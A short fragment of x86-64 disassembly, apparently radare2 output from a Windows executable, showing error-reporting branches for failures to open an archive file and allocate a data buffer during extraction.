lea rdx, [r12 + 0x12]
lea rcx, str.Failed_to_extract__s:_failed_to_open_archive_file__n
xor r13d, r13d
call fcn.140002c10
jmp 0x140001988
mov r9d, esi
lea r8, [r12 + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_data_buffer___u_bytes___n
lea rcx, str.malloc
call fcn.140002d90
jmp 0x14000197d